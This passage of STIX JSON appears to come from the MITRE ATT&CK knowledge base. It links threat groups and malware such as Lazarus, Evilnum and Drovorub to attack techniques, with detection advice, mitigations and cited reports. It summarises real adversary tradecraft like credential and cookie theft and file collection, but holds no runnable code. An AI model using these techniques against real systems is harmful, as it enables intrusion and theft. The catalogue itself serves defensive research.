2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"modified":"2022-02-03T23:45:53.399Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used nmap from a router VM to scan ports on systems within the restricted segment of an enterprise network.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3fb836b7-41cf-40d1-bd56-14e45e6bbd02","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-03-18T20:18:02.891Z","description":"(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3fbe092c-7029-4c31-ac96-9fd2fb13fa2c","type":"relationship","created":"2020-02-11T19:05:45.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T19:05:45.921Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3fbe7146-c706-446c-a3ea-6a0704812835","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for changes made to files that may execute their own malicious payloads by hijacking vulnerable file path references.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3fc0ea3d-0c51-4c2f-876d-912d08af32c2","type":"relationship","created":"2019-05-29T13:53:36.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}],"modified":"2020-03-17T02:33:52.876Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) uses HTTP for C2.(Citation: Proofpoint TA505 Jan 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3fd05c59-c28b-418a-be56-87ff52d4771c","type":"relationship","created":"2021-01-27T16:38:11.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T16:38:11.994Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) can steal cookies and session information from browsers.(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3fd104a5-1708-46e4-ba7b-a6964913fef0","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications) that may suggest the shutting down or rebooting of the system. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3fd2bd7d-0d30-42b7-a9e7-83b7300ca143","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-04T15:08:30.135Z","description":"Monitor for API calls, such as PowerShell's Get-ADUser cmdlet or Windows API DsAddSidHistory function, to examine data in user’s SID-History attributes, especially users who have SID-History values from the same domain.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3fd788c4-f4a0-41a8-aee9-5684e7f5bdc5","created":"2024-10-16T21:15:49.991Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T21:15:49.991Z","description":"Monitor trusted developer utility activity with unsigned module loads.","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3fdd32ab-646e-4ba4-96fd-165a09db0c67","created":"2023-04-13T18:07:36.641Z","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T18:07:36.641Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used the commercially available tool RemoteExec for agentless remote code execution.(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3fdff7fb-837d-4e2f-acd2-c43c933d4322","created":"2024-03-01T17:25:40.460Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T17:25:40.460Z","description":"Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3fe304c6-4f26-42a9-b1f4-22635fd01245","created":"2024-03-25T19:08:10.205Z","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T19:08:10.205Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has sent victims emails containing links to compromised websites.(Citation: SocGholish-update)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3fe56134-1a77-4df2-af85-9a68042c5fb8","type":"relationship","created":"2021-05-26T15:26:09.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-26T15:26:09.870Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has the ability to respawn itself using ShellExecuteW and CreateProcessW.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3fe5844e-d197-4636-a4c4-b89b368c2597","type":"relationship","created":"2020-10-02T16:58:58.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:58:58.847Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca","target_ref":"attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3fe9b64a-6435-4592-9181-2ad50ee93044","created":"2017-05-31T21:33:27.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.705Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has collected data and files from compromised networks.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3feb6e83-0491-4e3d-a581-3f68ab839e92","type":"relationship","created":"2020-05-28T16:38:03.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.411Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can collect Microsoft Word documents from the target's file system, as well as .txt, .doc, and .xls files from the Internet Explorer cache.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ff416c3-63dd-4050-82f9-fcf4820a7b12","created":"2022-09-16T16:24:12.643Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T16:24:12.643Z","description":"During [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used droppers that would run anti-analysis checks before executing malware on a compromised host.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ff468a6-c444-439e-b095-dda4648f3561","type":"relationship","created":"2020-08-25T20:11:53.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-08-26T18:38:18.451Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) can use a port forwarding rule on its agent module to relay network traffic through the client module to a remote host on the same network.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ff46c64-10c7-474c-86eb-c66f1f85f5ac","type":"relationship","created":"2021-01-28T17:54:03.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.023Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) can obtain the computer name from the victim's system.(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ff580a6-1323-4587-8f64-137e02f148e6","created":"2024-09-17T17:18:05.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bleeping Computer Latrodectus April 2024","description":"Abrams, L. (2024, April 30). New Latrodectus malware attacks use Microsoft, Cloudflare themes. Retrieved September 13, 2024.","url":"https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T20:38:50.423Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has been executed through malicious links distributed in email campaigns.(Citation: Latrodectus APR 2024)(Citation: Bleeping Computer Latrodectus April 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ffac9f5-9a5e-41dd-aa7d-c981842015d7","type":"relationship","created":"2020-03-30T19:57:17.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-30T19:57:17.591Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ffda000-9e1b-4f63-8cc4-7b31feeb0b12","type":"relationship","created":"2020-03-02T19:08:18.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T19:08:18.033Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3fff8382-175d-44ce-b430-ae32930817ec","created":"2024-02-21T19:38:37.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Arctic Wolf Akira 2023","description":"Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.","url":"https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T21:05:19.964Z","description":"(Citation: Arctic Wolf Akira 2023)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4001577c-16aa-4edc-ba15-1f0f9ba35c13","type":"relationship","created":"2020-08-10T13:14:05.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."}],"modified":"2020-08-18T15:23:26.785Z","description":"[Dacls](https://attack.mitre.org/software/S0497) can collect data on running and parent processes.(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40032198-f003-4171-92a0-faf038f62a0b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 April 2020","url":"https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html","description":"Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."},{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:04:12.207Z","description":"[APT32](https://attack.mitre.org/groups/G0050) collected the victim's username and executed the whoami command on the victim's machine. [APT32](https://attack.mitre.org/groups/G0050) executed shellcode to collect the username on the victim's machine. (Citation: FireEye APT32 April 2020)(Citation: ESET OceanLotus)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40050718-2e2c-4711-91ed-1c2fb59cd9f3","created":"2023-10-03T15:15:17.759Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T15:15:17.759Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can add extra characters in encoded strings to help mimic DNS legitimate requests.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40082714-cb19-482f-9b6d-22031ef39926","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2020-03-17T14:24:50.189Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) copied all targeted files to a directory called index that was eventually uploaded to the C&C server.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--400ed882-80e9-47f7-85a6-11996fbbb635","type":"relationship","created":"2021-01-27T16:57:05.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic 